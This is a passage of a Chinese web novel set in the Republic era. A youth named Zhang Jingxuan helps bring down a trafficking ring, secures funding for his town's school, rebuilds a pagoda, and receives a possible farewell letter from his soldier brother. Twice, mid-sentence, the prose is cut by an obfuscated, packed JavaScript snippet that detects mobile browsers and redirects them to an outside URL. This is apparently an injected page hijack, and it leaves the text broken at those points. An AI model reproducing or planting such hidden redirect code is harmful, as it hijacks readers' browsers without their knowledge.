忽然,陈继业停住了——前面是断崖。崖下是青云河的支流,水流湍急,在月光下泛着粼粼波光。 他转过身,背靠断崖,举着枪,像头困兽。 孙科长带人围上来,十几把枪指着他。 “陈继业,投降吧。”孙科长说,“你跑不了了。” 陈继业狞笑:“投降?投降也是死,不如拉几个垫背的!”他忽然把枪口转向张静轩,“小子,都是你!要不是你,老子怎么会落到这地步!” 张静轩站在月光下,看着他。这个作恶多端的人,此刻像条疯狗,但眼神里除了凶狠,还有绝望。 “陈继业,”张静轩开口,声音很平静,“那些被你拐卖的人,那些被你害死的家庭,他们怎么办?” “关我屁事!”陈继业吼道,“这世道,弱肉强食!他们弱,活该!” “不对。”张静轩摇头,“这世道,不该是这样。人之所以是人,是因为有良心,有底线。而你,已经没有底线了。” 陈继业一愣,随即狂笑:“良心?底线?值多少钱?小子,你还太嫩!” 说话间陈继业未受伤的手掏出火折子,然后摸向腰间— —声音炸响,“别让他毁文件了!”火折子盖帽掉了,火焰在他手中跳起。 那一刻,时间仿佛慢了。 张静轩看见火焰舔向那些泛黄的纸页——那上面写着名字,写着数字,写着三年来青石镇乃至周边几个县的血泪。他看见秦怀远在火光中湮没的身影,看见水生差点被拐走的那个雨夜,看见磨坊地窖里那三双空洞的眼睛。 弓已在手。 没有犹豫的搭箭,拉弦。没有瞄准的时间,只有三年来的所有画面在眼前闪过——大哥离家时回望的眼神,父亲在祠堂前说的“做人的道理”,苏宛音在黑板上写下的“开学第一课”,周大栓凑钱时粗糙的手,老哑头在泥土上划的“种子已种”…… 弓弦震动的嗡鸣,像大地深处的叹息。 箭离弦。破开昏暗的光,破开飞舞的尘埃,破开这个浓稠得化不开的夜。“夺”一声——箭簇穿过火折的木柄,钉进陈继业身后崖边的杂草旁。火折落地,火星四溅。 一瞬间,陈继业再次举起枪并扣动了扳机。 枪响的同时,赵哥扑倒了张静轩。子弹擦着张静轩的耳朵飞过,打在后面的树上。张静轩抱着弓趴在地上,手在微微颤抖。不是后怕,是释放——那些压在胸口的东西,随着这一箭,终于找到了出口。几乎同时,孙科长和其他警察也开枪了。 十几发子弹同时击中陈继业。他身体一震,手里的枪掉在地上,人往后倒,从断崖跌落下去。 扑通一声,水花溅起,很快被河水吞没。 结束了。 张静轩拿着弓从地上爬起来,走到崖边,捡起散落的纸张。看着河水在月光下奔流,像一条银色的巨蟒,把一切罪恶都卷走了。 孙科长拍了拍他的肩:“没事吧?” “没事。”张静轩摇头,将那些充满秘密的文件交给了孙科长。 警察们开始清理现场。刘秘书被铐起来,那几个黑衣人死的死,伤的伤,都被控制住了。教堂的火已经被扑灭,但里面一片狼藉。 孙科长从地上捡起那些散落的文件,仔细看了看,脸色越来越凝重。 “这些地契……涉及省城好几处重要产业。”他低声对赵哥说,“还有这些借据,借款方……都是些有头有脸的人物。这个案子,大了。” 赵哥点头:“牵扯太广,您得小心。” “我知道。”孙科长苦笑,“但既然接了,就得办到底。” 回到省城时,天已经蒙蒙亮了。街道上开始有早起的行人,早点铺子升起炊烟。一夜惊魂,张静轩却觉得格外清醒——像做了一场漫长的梦,终于醒了。 刘秘书被押回警务厅。孙科长说,这个案子会一查到底,不管牵扯到谁。 回到客栈,福伯已经等了一夜。见他们平安回来,老泪纵横:“没事就好,没事就好……” 水生也醒了,揉着眼睛跑出来:“静轩哥,抓到坏人了吗?” “抓到了。”张静轩摸摸他的头,“以后,青石镇安全了。” 上午,消息传开。省城各大报纸都刊登了新闻:“警务厅破获特大走私拐卖团伙,主犯陈继业坠崖身亡,幕后黑手落网”。文章写得隐晦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140660|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没提“老鬼”的真实身份,但明眼人都能看出,这案子不简单。 李教授打来电话:“静轩,你们可以安心了。教育厅那边,郑副厅长今天一早就被停职调查。你们的拨款,下周就能下来。” 果然,下午教育厅就来了公文,正式批复青石镇新式学堂的办学资格,并拨付首笔款项。数目不小,足够学堂用两年。 卢明远拿着公文,手在抖:“成了……终于成了……” 张静轩看着那份盖着红章的文件,心里却异常平静。这是他们应得的,是用血和汗换来的。 三天后,他们准备回青石镇。 临走前,张静轩去医院看了周文。记者已经脱离危险,但伤得很重,需要静养。 “账册和文件,孙科长都拿到了。”张静轩坐在病床边,“他说,这个案子会办成铁案。” 周文脸色苍白,但眼神明亮:“那就好。我当记者十几年,见过太多不了了之的案子。这次……总算有个结果。” “谢谢您。”张静轩说,“没有您,我们查不到这么多。” “该谢的是你们。”周文笑了,“你们这些孩子,让我看到,中华民国还有希望。” 从医院出来,阳光很好。省城的街道依旧繁华,电车叮当,行人匆匆。但张静轩觉得,这繁华里,似乎多了些什么——或许是正义得到伸张后的安宁,或许是黑暗被驱散后的清明。 他们坐上回青石镇的马车。福伯赶车,马蹄声嘚嘚,车轮碾过黄土路,扬起轻尘。 水生趴在车窗上,看着渐渐远去的省城城墙,忽然问:“静轩哥,咱们以后还来省城吗?” “来。”张静轩说,“等学堂办得更好了,带所有的孩子都来,看看外面的世界。” “那……省城的人,还会看不起咱们吗?” 张静轩想了想,说:“也许会,也许不会。但没关系——咱们青石镇的人,靠自己,也能活得像模像样。” 马车沿着青云河往北走。河水清澈,在阳光下泛着金光。两岸的稻田绿意盎然,农人们在田里劳作,偶尔直起身,擦把汗,望着远去的马车。 这是青石镇的山河。朴实,厚重,生生不息。 傍晚时分,马车驶进青石镇。街坊们早就等在镇口,看见马车,都围上来。 “回来了!回来了!” “小少爷,没事吧?” “坏人抓到了吗?” 张静轩跳下车,一一回应。周大栓挤过来,一把抱住水生:“儿子,你可回来了!” 李铁匠拍着张静轩的肩:“好小子!给咱们青石镇长脸了!” 陈老秀才拄着拐杖站在人群外,看着张静轩,点点头,没说话,但眼里有赞许。 回到张家,张老太爷站在门口,看着儿子,良久,说:“瘦了。” “爹。”张静轩上前,“事办成了。拨款下来了,陈继业死了,幕后黑手也抓了。” “我知道。”张老太爷拍拍他的肩,“沈特派员派人送信来了,都说了。”他顿了顿,“你做得很好。” 父子俩站在门口,夕阳把他们的影子拉得很长。院子里那棵老槐树,叶子已经落尽,但枝干遒劲,像在积蓄力量,等待来年春天。 晚饭后,张静轩去了学堂。 祠堂里亮着灯。苏宛音和程秋实还在备课,见了他,都站起身。 “静轩!”苏宛音眼圈红了,“你没事吧?” “没事。”张静轩说,“先生,拨款下来了。学堂可以办下去了。” 程秋实激动得手在抖:“太好了……太好了……” 张静轩走到讲台前,看着那些熟悉的桌椅。明天,孩子们就会坐在这里,读书,识字,明理。他们的未来,会比他这一代更好。 他拿起粉笔,在黑板上写下两个字:“希望”。 字迹不算好看,但端正,有力。 苏宛音看着那两个字,眼泪终于掉下来。程秋实摘下眼镜,擦了擦眼角。 从学堂出来,月光很好。张静轩独自走到青云河边。河水潺潺,像在诉说。他想起这几个月发生的事——办学,遇阻,斗争,胜利。像一场漫长的战役,终于结束了。 但真的结束了吗? 陈继业死了,但世上还有王继业、李继业。刘秘书被抓了,但官场还有张秘书、赵秘书。黑暗不会永远消失,只要人性还有贪婪,还有愚昧。 但没关系。 只要有学堂,有教育,有像苏宛音、程秋实这样的先生,有像周大栓、李铁匠这样的百姓,有像大哥那样在前线战斗的军人,有像他这样在后方坚守的少年…… 光,就不会熄灭。 他想起大哥信里的话:“挺直脊梁,守住本心。” 他会挺直脊梁,守住本心。 守住青石镇,守住学堂,守住这片山河。 远处传来更夫的梆子声,二更天了。 张静轩转身,往家走。 月光照着他年轻的背影,那背影在青石板路上,拉得很长,很稳。 像一棵正在成长的树,深深扎根在这片土地里。 来年春天,会枝繁叶茂。 会开花结果。 会把光,传给更多的人。 一定会的。 他这样想着,脚步轻快起来。 前方,张家的灯火,温暖而明亮。 像一盏永不熄灭的灯。 照亮他回家的路。 也照亮,这片山河的未来。 19. 第十九章 春播 开春的第一场雨来得恰到好处。细密的雨丝润湿了青石镇的土地,青云河的水涨了些,泛着新鲜的土腥气。祠堂前那棵老槐树的枝桠上,冒出了嫩黄的芽点,像谁用笔尖轻轻点上去的。 张静轩站在学堂门口,看着雨水顺着屋檐滴落,在地上溅起一圈圈涟漪。今天是学堂重新开课的日子。省里的拨款已经到了,苏宛音和程秋实新印了课本,还从省城订购了几件简单的实验器具——一个地球仪,几幅地图,还有一盒几何模型。 孩子们陆陆续续到了。水生穿着新做的粗布褂子,虽然浆洗得发硬,但很干净。他跑到张静轩面前,仰着脸笑:“静轩哥,俺爹说,等麦子收了,给俺做双新鞋。” “好。”张静轩摸摸他的头,“好好读书,将来给你爹也买新鞋。” 小莲也来了,牵着母亲的手。妇人脸色好多了,咳嗽轻了,脸上有了血色。她对着张静轩深深鞠躬:“小少爷,谢谢学堂,谢谢先生。小莲她爹捎信回来了,说在省城码头找到活了,等攒够了钱就回来。” 张静轩点点头,心里一暖。这就是学堂的意义——不只是教孩子识字,更是给一个个家庭带来希望。 上课钟响了。孩子们坐进课堂,二十八个人,一个不少。苏宛音站在讲台前,看着他们,眼圈微微发红。 “同学们,”她开口,声音有些哽咽,“今天,我们学堂有了新课本,新教具,还有了省里的正式批文。这些是怎么来的?是你们每一个人的坚持,是你们父母的付出,是青石镇所有乡亲的支持。” 她顿了顿:“从今天起,我们要更努力地读书。不是为了当官发财,是为了——像张静轩同学在省城说的那样——让这片土地上的人,活得像人。” 孩子们挺直腰板,眼神明亮。 第一节课是程秋实的国文。他今天讲的是新课本里的第一课:《我们的家乡》。课文很简单,写的是一个小镇的风土人情,但程秋实讲得很用心。 “每个人都有家乡。”他说,“家乡是什么?是出生的地方,是长大的地方,是无论走到哪里都会想念的地方。你们的家乡是青石镇,有青云河,有老槐树,有这所学堂。要记住它,爱它,将来把它建设得更好。” 水生举手:“先生,那要是……要是离开家乡呢?” “离开家乡,是为了学本事,长见识。”程秋实说,“但学成了,要记得回来——用学到的本事,把家乡建设得更好。” 张静轩坐在后排听着,心里忽然想起大哥。大哥离开家乡去参军,是为了保卫这片山河。而他们留在学堂,是为了建设这片山河。方式不同,但心一样。 课间时,张静轩走到院子里。雨停了,阳光从云缝里漏出来,照在湿漉漉的青石板上,泛着金光。福伯正蹲在墙角,修补那扇被踩坏的门板。老管家手艺好,刨子推过木板,木屑像雪花一样纷纷扬扬。 “福伯,”张静轩走过去,“我爹呢?” “老爷去镇公所了。”福伯没抬头,手上不停,“说是商量重修文峰塔的事。” 文峰塔?张静轩想起父亲说过,青石镇以前有座文峰塔,同治年间塌了。重修文峰塔,是陈老秀才多年的心愿。 “陈老先生也在?” “在。”福伯终于抬起头,擦了把汗,“小少爷,老爷说,等塔修好了,要在塔底下埋个‘镇物’——把咱们青石镇这些年的事,写下来,封在坛子里,埋进去。让后世的人知道,这塔是怎么修起来的,这学堂是怎么办起来的。” 张静轩心头一动。埋“镇物”,是本地旧俗。但父亲要埋的,不是符咒,是历史——青石镇的真实历史。 “我爹还说什么了?” 福伯想了想:“老爷说,等开春了,要在学堂后面开块地,种菜。让孩子们学农事,知道粮食是怎么来的。” 种地?这倒是新鲜。但细想,也有道理——读书不能脱离实际,知道稼穑艰难,才会珍惜,才会懂得百姓疾苦。 下午的课是苏宛音的算学。她今天教的是测量——用简单的工具,测量土地面积。她把孩子们带到祠堂后面的空地上,那是新划出来的“学田”,约莫半亩。 “这块地,长十丈,宽三丈。”苏宛音用皮尺量着,“怎么算面积?” 孩子们七嘴八舌。有的说长乘宽,有的说一亩等于多少平方丈。水生算得最快:“三十平方丈!” “对。”苏宛音点头,“但实际种地,还要考虑地形、土质、水源。所以,读书要和实际结合。” 她开始讲怎么选种,怎么施肥,什么时候播种,什么时候收割。孩子们听得入神,连张静轩都觉得新鲜——他从小到大,没下过地。 “等过几天,地干了,咱们就动手。”苏宛音说,“种点什么好呢?” “种麦子!”水生喊。 “种青菜!”小莲小声说。 “种……种花。”铁蛋忽然说,“好看。” 孩子们都笑了。苏宛音也笑:“好,都种。麦子、青菜、花,都要种。等秋天收了,麦子磨成面,咱们做馒头吃;青菜炒了,大家一起吃;花开了,插在学堂里,好看。” 阳光很好,照在孩子们兴奋的脸上。张静轩看着这一幕,忽然觉得,这才是学堂该有的样子——不只是读书识字,更是生活,是希望,是实实在在的、可以触摸的未来。 放学后,张静轩去了镇公所。议事堂里,父亲和陈老秀才、卢明远,还有几个镇上的乡绅正在商量。桌上摊着一张图纸,是文峰塔的设计图。 “……塔高七层,取‘七级浮屠’之意。”陈老秀才指着图纸,“底层供奉文昌帝君,二层以上,可以登高望远。塔顶挂铜铃,风来铃响,声闻数里。” 张静轩走近看。图纸画得很细,塔身八角,每层都有飞檐翘角,是典型的江南风格。 “钱从哪儿来?”一个乡绅问。 “省里拨了一部分,镇上出一部分,剩下的募捐。”张老太爷说,“我已经跟省城几个商会联系了,他们都愿意捐。” “那学堂后面那块地……” “开春就种。”卢明远接话,“我爹从省城弄了些新种子,说是洋人改良过的,产量高。” 众人又商量了些细节。张静轩在一旁听着,忽然觉得,青石镇正在发生某种变化——不是轰轰烈烈的革命,而是一种缓慢的、扎实的、从土地里生长出来的变化。 离开镇公所时,天已近黄昏。夕阳把青云河染成金色,河水缓缓流淌,像一条金色的绸带。张静轩沿着河堤走,看见周大栓正带着几个船工在修码头——被陈继业的黑船撞坏的那段。 “周叔。”他走过去。 周大栓抬起头,脸上都是汗,但笑容灿烂:“小少爷!你看,咱们把码头拓宽了,以后能停更大的船!” 确实,码头比原来宽了一倍,用新伐的松木打桩,结实得很。 “等修好了,咱们青石镇的货,就能直接运到省城,不用在中转站被扒一层皮了。”周大栓搓着手,“水生他娘说,等码头好了,她要摆个茶水摊,给过路的船工送水。” 张静轩笑了。这就是青石镇的百姓——朴实,勤劳,一点点地改变生活。 回到家,书房亮着灯。张老太爷正在看信,见他进来,放下信纸。 “静轩,你大哥来信了。” 张静轩心头一跳,快步走过去。信是大哥的笔迹,但比上次更潦草: “父亲大人、静轩吾弟:北地战事稍歇,儿一切安好。闻青石镇事毕,甚慰。陈继业已被击毙,学堂得续,皆弟之功。然世道仍艰,外有强敌,内有奸佞,不可松懈。儿在军中,见百姓流离,心甚痛。唯盼早日驱除外寇,还我山河清明。弟在乡,当继办学之志,启民智,育新人。待凯旋日,兄弟把酒,共话桑麻。兄静远顿首。” 信不长,但字字千钧。张静轩读着,眼眶发热。 “你大哥……”张老太爷声音有些哑,“他瘦了。信里没说,但送信的人说,他们刚打了一场硬仗,伤亡不小。” 张静轩握紧信纸。他能想象——前线炮火连天,大哥端着枪,在战壕里冲锋。而他,在后方安静的学堂里,教孩子识字。 两种战场,一样残酷。 “爹,”他轻声说,“我想……等学堂稳定了,去北边看看大哥。” 张老太爷看着他,良久,点头:“该去。但不是现在。现在,你要把学堂办好,把青石镇的事做好。这才是对你大哥最大的支持。” 张静轩点头。他明白。前线需要枪炮,后方需要粮食,需要教育,需要希望。他和大哥,在不同的战场,为同一个目标战斗。 夜里,他又在灯下写信。这次是给大哥的。 “大哥:见字如面。青石镇春耕在即,学堂新开,一切安好。弟近日思之,办学不只是教书识字,更是育人育心。故于学堂后开‘学田’半亩,教孩子稼穑之道,知民生之多艰。文峰塔亦将重修,塔成之日,当埋‘镇物’于下,录青石镇这些年事,留与后人。兄在前线保重,待山河无恙,弟必北上,与兄把酒言欢。静轩谨上。” 信写得很长,他把青石镇这些天的变化都写了——学堂的新课本,孩子们的“学田”,码头的扩建,文峰塔的重修。写到最后,手有些酸,但心里很满。 吹熄灯,躺下。窗外的月光很好,清清冷冷地照着。远处传来青云河的水声,潺潺的,永不停歇。 他想起省城的繁华,想起前线的大哥,想起青石镇的朴实。这三个世界,看似遥远,却又紧密相连——省城的变革影响着青石镇,前线的战事牵动着后方,而后方的坚守,又支撑着前线。 而他,张静轩,十五岁,站在三个世界的交界处。 他要做的,不是选择哪一个世界,而是把它们连接起来——把省城的新思想带回青石镇,把青石镇的朴实告诉省城,把后方的希望传递给前线。 这是一条很长的路。 但他会走。 一步,一步。 走到光完全照亮每一个角落的那一天。 一定会的。 他这样想着,慢慢睡着了。 梦里,他看见文峰塔修好了,高高地耸立在青云河边。塔顶的铜铃在风里叮当作响,声音清越,传得很远。塔下,孩子们在“学田”里劳作,麦子绿油油的,青菜水灵灵的,花儿开得正好。 大哥从远处走来,穿着军装,脸上有硝烟的痕迹,但笑容明亮。他拍拍张静轩的肩:“静轩,你做到了。” 他重重点头。 醒来时,天已蒙蒙亮。窗外传来鸟鸣,清脆悦耳。 新的一天,开始了。 张静轩起身,推开窗。晨风带着泥土的清香,扑面而来。 远处,青云河的水声,学堂的钟声,还有即将开始的、属于青石镇的、崭新的一天。 他深吸一口气。 该去学堂了。 该去播种了。 播下种子,播下希望,播下一个更好的未来。 他握紧了拳,然后,走出房门。 第二十章 塔基 文峰塔的地基开挖定在谷雨后的第一个晴天。青石镇的男丁几乎都来了,周大栓带着船工,李铁匠带着徒弟,连陈老秀才也拄着拐杖站在一旁。张老太爷在空地中央摆了香案,供着三牲,祭拜土地公。 “动土——”福伯拉长了声音。 十几个汉子举起镐头,齐齐落下。泥土翻起,带着春日的湿润气息。张静轩站在父亲身边,看着那片被翻开的地面。黄土之下是黑土,再往下是砂石层——青石镇的地质,他从小就知道。 “按照图纸,地基要挖一丈深。”卢明远拿着图纸对照,“下面打三层三合土,再砌石基。” 工程进展得很快。到晌午时,已经挖下去五尺深。汉子们轮换着干,汗水浸透了粗布衫。水生和几个半大孩子负责送水,拎着陶罐跑来跑去。 忽然,镐头碰上了硬物。 “有东西!”挖土的汉子喊。 所有人都围过去。张老太爷示意小心清理。几个汉子用铁锨慢慢铲开周围的土,露出下面的东西——是几块青石板,拼成一个方形,石板表面刻着字,但被泥土糊住,看不清。 “这是什么?”周大栓凑近看。 陈老秀才拄着拐杖走过来,蹲下身,用袖子擦了擦石板表面。字迹露出来,是篆书,苍劲古朴。 “这是……碑文?”陈老秀才眯着眼辨认,“‘文峰塔记……大明嘉靖七年春立……’”他抬起头,脸色变了,“这是老塔的碑!原来埋在这儿!” 众人哗然。老塔塌了近百年,碑文竟然还在地下完好保存着。 “继续挖。”张老太爷说,“小心些,别碰坏了。” 汉子们更加小心。又挖了约莫半个时辰,整块碑露了出来——三尺见方,青石质地,虽然边缘有破损,但碑文基本清晰。除了《文峰塔记》,下面还有捐建者的名单,密密麻麻,足有上百人。 陈老秀才让水生拿来纸笔,拓印碑文。老人手有些抖,但拓得很认真,一笔一划都不放过。 “青石镇的历史,都在这里了。”他喃喃道,“嘉靖七年……那是四百年前了。那时候的青石镇,还是个码头集市,因为文峰塔,才渐渐有了文气。” 张静轩看着那些古老的文字。四百年前,他的祖先可能还没来到青石镇,但这座塔已经在了。它见证过明代的繁华,清代的衰败,民国的动荡,如今又要见证新生。 这是一种奇妙的连接——过去与现在,通过这块石碑,连在一起。 下午,挖地基的工人又发现了别的东西。在石碑下方三尺处,挖出一个陶罐,密封得很好。打开,里面是一卷用油布包着的纸。纸已经发黄变脆,但字迹还能辨认。 是一封信。 “塔倾之日,吾辈无能,愧对先人。今藏此信于塔基,待后来者重修之日,可见吾心。光绪二年,青云河水患,塔基松动,镇上凑钱修补,然财力不济,只能维持。五年后,塔身裂缝愈大,吾等恐塔将倾,故留此信,告后来者:修塔不易,守塔更难。望后来者继吾志,护此文脉,佑我乡土。青石镇乡绅王守义、李怀德、陈文渊同具。” 光绪二年,那是四十多年前了。写信的三位老人,如今早已作古。但他们留下的这封信,穿越时间,来到了今天。 张静轩捧着信,心里沉甸甸的。修塔不易,守塔更难——这话说得透彻。四百年的塔倒了,四十年前的人想修没修成,今天,轮到他们这一代了。 “爹,”他轻声说,“咱们要把这封信,和咱们的信,一起埋进去。” 张老太爷点头:“该这样。一代人有一代人的责任,一代人有一代人的见证。” 傍晚时分,地基挖好了。一丈深的坑,底下是坚实的岩石层。工人们开始回填三合土——石灰、黏土、沙子按比例混合,一层层夯实。这是老法子,但最牢固。 张静轩站在坑边,看着夕阳把工人的影子拉得很长。汗水滴进泥土,很快被吸收。这就是建设——一点一滴,实实在在。 “静轩。” 他回头,看见苏宛音和程秋实走过来。两人手里都拿着东西——苏宛音拿着一卷纸,程秋实抱着一个木匣。 “这是学堂孩子们的‘心愿’。”苏宛音展开那卷纸,上面是孩子们用稚嫩的笔迹写的话:“我希望学堂一直办下去。”“我想当先生,教更多孩子。”“我想去省城看看。”“我想让爹娘过上好日子。”…… 程秋实打开木匣,里面是几本手抄的课本,还有孩子们画的画——青石镇的祠堂,青云河,老槐树,还有他们想象中的文峰塔。 “这些,也埋进去吧。”程秋实说,“让后世的人知道,这个时代的孩子们,在想什么。” 张静轩点头。他接过纸和木匣,心里暖洋洋的。孩子们的心愿,先生的期望,还有那些朴素的画——这就是他们这一代人的“镇物”。 夜里,张老太爷在书房里写埋藏的信。张静轩在一旁磨墨。 老人写得很慢,一笔一划:“青石镇文峰塔重修记:民国八年春,镇人集资重修文峰塔。时值国运维艰,外有强敌,内有动荡,然镇人同心,兴学修塔,以启民智,以振文风。塔基之下,埋四百年前旧碑,四十年前遗信,及今人之愿。愿后来者见之,知前人不易,继前人之志,护乡土,兴文教,佑我山河永固。张氏父子、陈氏、卢氏及全镇乡民同具。” 写完后,老人放下笔,长长舒了口气。 “静轩,”他说,“你来写一份学堂的。” 张静轩接过笔。他想了想,写下:“青石镇新式学堂办学记:民国六年秋,镇人创办新式学堂,启民智,育新人。其间艰难,几经波折,然终得延续。今埋此记,愿后来者知:教育乃立国之本,启民智乃救国之道。愿学堂永续,文脉不断,光明永驻。学生张静轩、苏宛音、程秋实及全体师生同具。” 写得很短,但字字真心。 第二天,埋“镇物”的仪式很简单。在塔基正中央挖了个小坑,把旧碑拓片、光绪年的信、张老太爷的信、张静轩的信、孩子们的心愿、学堂的课本和画,还有从省城带回来的那本《青石镇新式学堂办学记》,一起放进一个特制的陶罐里,用蜡密封,埋入地下。 覆土的时候,所有人都肃立。陈老秀才轻声念着祭文:“……埋此镇物,告慰先人;继往开来,佑我乡梓……” 阳光很好,照在每个人脸上。张静轩看着那罐子一点点被泥土覆盖,忽然觉得,他们埋下的不只是信件和愿望,更是一种承诺——对先人的承诺,对后人的承诺,对这个时代的承诺。 仪式结束后,工人们继续施工。三合土夯实了,开始砌石基。巨大的青石条从青云河上游运来,一块块垒起,严丝合缝。石匠们叮叮当当地敲打着,石屑飞舞。 张静轩在工地上帮忙搬小石块。水生跟在他身边,也搬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140661|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然力气小,但很认真。 “静轩哥,”水生忽然问,“等塔修好了,俺能上去吗?” “能。”张静轩说,“等修好了,咱们都上去。站在塔顶,看整个青石镇。” “那……能看到省城吗?” “太远了,看不到。但能看到青云河,看到咱们的学堂,看到你们家的船。” 水生眼睛亮了:“那俺爹在船上,能看到俺吗?” “能。”张静轩摸摸他的头,“你在塔上招手,你爹在船上招手,互相都能看见。” 孩子笑了,笑得灿烂。那是属于孩子的、简单的快乐。 正说着,福伯匆匆走来:“小少爷,省城来人了。” “谁?” “沈特派员。” 张静轩一愣。沈特派员怎么来了?陈继业的案子不是结了吗? 他跟着福伯回到张家。沈特派员坐在书房里,穿着便服,但神色疲惫,眼下一片青黑。 “沈叔叔。”张静轩行礼。 “静轩,长高了。”沈特派员勉强笑了笑,“青石镇……变化很大。” “您怎么来了?” 沈特派员放下茶杯,沉默片刻:“‘老鬼’的案子……有变故。” 张静轩心头一紧。 “刘秘书在狱中自尽了。”沈特派员声音低沉,“死前留了遗书,说所有事都是他一人所为,与他人无关。上面……有人想就此结案。” “可是账册、文件……” “都被收走了。”沈特派员苦笑,“说是‘证据不足’。那些地契、借据,牵扯的人太多,太深。有人不想查下去。” 书房里一时寂静。窗外的阳光很好,但张静轩觉得心里发冷。陈继业死了,刘秘书死了,线索断了。那些幕后的人,依然逍遥。 “那……周记者呢?” “在医院,有人看守,说是‘保护’,其实是软禁。”沈特派员说,“他的报道发不出去,省城的报纸都被打了招呼,不准再提这个案子。” 张静轩握紧了拳。这就是现实——黑暗不会轻易退去,它会反扑,会用更隐蔽的方式,继续存在。 “沈叔叔,您……” “我调职了。”沈特派员说,“去邻省,明升暗降。今天来,一是跟你道别,二是……提醒你们小心。” “小心什么?” “陈继业虽然死了,但他手下还有漏网之鱼。‘老鬼’虽然暂时安全了,但可能会报复——报复那些坏了他事的人。”沈特派员看着他,“你,苏先生,程先生,还有青石镇学堂,都可能成为目标。” 张静轩沉默了。他想起周文在土地庙的伤,想起金老板胸口的血。黑暗的反扑,从来都是血腥的。 “不过,”沈特派员话锋一转,“也不是全无希望。我虽然调走了,但省城还有人在查。周记者虽然被软禁,但他的同事还在活动。这个国家,总还有不肯低头的人。” 他站起身,拍了拍张静轩的肩:“静轩,记住你那天在年会上的话——‘让这片土地上的人,活得像人’。这话很重,但值得用一生去践行。” 送走沈特派员,张静轩在书房里坐了很久。阳光从窗棂照进来,在地上投出斑驳的光影。那些光与影的交错,像极了这个时代——有光明,有黑暗,有希望,有绝望。 但他不能绝望。他站起身,走到那幅《山河图》前。大哥的字迹依然遒劲:“国若不国,家何以家。” 是啊,国若不国,家何以家。但反过来,家若不安,国何以宁? 他要守护这个家——青石镇,学堂,还有这片山河。 夜里,他去了学堂。苏宛音和程秋实还在备课,见他来,都放下笔。 “沈特派员来了?”苏宛音问。 张静轩点头,把情况说了。 程秋实的脸色白了:“他们……还会来?” “可能会,可能不会。”张静轩说,“但不管来不来,咱们都要做好准备。” “怎么准备?” 张静轩想了想:“第一,加强学堂的守卫。街坊们可以继续轮流守夜。第二,孩子们上学放学,要有大人接送。第三……”他顿了顿,“咱们得教孩子们,遇到危险怎么办。” 苏宛音握紧了手:“要教这些吗?他们还那么小……” “正因为小,才要教。”张静轩说,“这个世道,不会因为他们是孩子,就对他们温柔。” 这话说得残酷,但真实。苏宛音沉默了,良久,点头:“好。我来教。” 接下来的几天,青石镇表面平静,但底下暗流涌动。周大栓和李铁匠重新组织了守夜队,每晚六个人,分两班。孩子们上学放学,都有家长接送。学堂里,苏宛音加了一门“安全课”,教孩子们遇到陌生人怎么办,遇到危险怎么求助。 这些变化,孩子们感受到了。水生问张静轩:“静轩哥,是不是又有坏人要来?” “不一定。”张静轩说,“但咱们做好准备,就不怕。” “俺不怕。”水生挺起小胸脯,“俺爹说,坏人来了,他就用斧头砍。” 张静轩笑了,但心里酸楚。一个十岁的孩子,不该想这些。但这就是这个时代——没有人能置身事外,连孩子也要学会面对黑暗。 文峰塔的工程继续。石基已经砌好,开始搭脚手架,准备砌塔身。每天,叮叮当当的敲打声在青石镇回荡,像这个镇子的心跳,坚定,有力。 张静轩每天都会去工地看看。他看着塔一点点升高,像看着一个承诺在慢慢实现。工人们很卖力,因为他们知道,这不是普通的塔——这是青石镇的文脉,是几代人的心愿。 这天下午,他正在工地帮忙搬砖,福伯匆匆跑来:“小少爷,有你的信。从北边来的。” 北边?大哥? 张静轩接过信。信封很粗糙,没有邮票,是托人捎来的。拆开,是大哥的字迹,但更潦草,纸上还有污渍,像是血迹。 “静轩吾弟:见字如面。战事吃紧,此信或为绝笔。近日连战,伤亡惨重,然士气不堕。弟在乡,当知前线艰难,后方安稳来之不易。闻青石镇事毕,心稍慰。若兄不归,勿悲。为国捐躯,死得其所。唯念父亲年迈,弟尚年幼,心有不忍。然国难当头,匹夫有责。弟当继吾志,守乡土,办学堂,育新人。待驱除外寇之日,可于文峰塔下,洒酒告兄。兄静远绝笔。” 绝笔。 张静轩的手在抖。信纸很轻,但重若千钧。那些字迹,那些话,像刀子,扎进他心里。 大哥……可能回不来了。 他站在工地上,阳光刺眼,但他觉得冷。周围的敲打声,工人们的吆喝声,都远了,模糊了。只有那封信,那些字,在眼前晃。 “小少爷?”福伯担心地看着他。 张静轩深吸一口气,把信折好,揣进怀里。他抬起头,看着正在修建的文峰塔。塔身已经砌到第二层,在阳光下,青石泛着温润的光。 “福伯,”他说,“塔要修得结实些。等修好了,我要在塔顶挂一盏灯,一盏很亮的灯。让大哥在远方,也能看见。” 福伯眼眶红了:“是,小少爷。” 张静轩转身离开工地。他走得很稳,但每一步,都像踩在刀尖上。 回到书房,他把信给父亲看。张老太爷看完,很久没说话,只是看着窗外。夕阳把他的影子拉得很长,那影子微微发抖。 “爹……” “我知道了。”张老太爷的声音很平静,但平静下有惊涛,“你大哥……是个好样的。” 父子俩对坐着,直到夜幕降临。谁也没点灯,就在黑暗里坐着。窗外的星光一点点亮起来,冷冷清清。 “静轩,”张老太爷终于开口,“你大哥说得对。若他不归,你要继他的志。” “我会的。”张静轩说。 “不只是办学堂。”张老太爷说,“是守护这片土地,这片山河。用你的方式,用你能做到的方式。” 